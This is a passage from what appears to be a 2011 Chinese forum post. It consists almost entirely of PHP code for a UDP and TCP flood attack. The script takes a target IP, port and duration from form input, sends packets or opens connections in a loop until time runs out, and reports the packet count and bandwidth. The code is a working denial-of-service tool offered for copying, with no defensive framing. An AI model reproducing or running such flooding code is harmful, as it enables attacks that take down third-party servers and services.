|
[ol]$max_time){break;}$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);if($fp){fwrite($fp,$out);fclose($fp);}}echo "Packet complete at ".time('h:i:s')." with $packets (".round(($packets*65)/1024,2) ." mB) \n";;echo '';ini_set("display_errors","Off");$packets = 0;$ipb = $_POST['ipb'];$portb = $_POST['portb'];set_time_limit(0);ignore_user_abort(FALSE);$exec_time = $_POST['timeb'];$time = time();$max_time = $time+$exec_time;while(1){$packets++;if(time() >$max_time){break;}$fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0);}echo "
\n";echo "
\n";echo "-";echo "
\n";echo " zgs ".$packets."g";echo "
\n";echo "
\n";echo " zll ".round(($packets*74*8)/(1024*1024),2)."Mbps";echo "
\n";echo "-";echo "
\n";?>[/ol]复制代码
[ 本帖最后由 嘿嘿嘿嘿 于 2011-10-28 09:54 编辑 ] |
|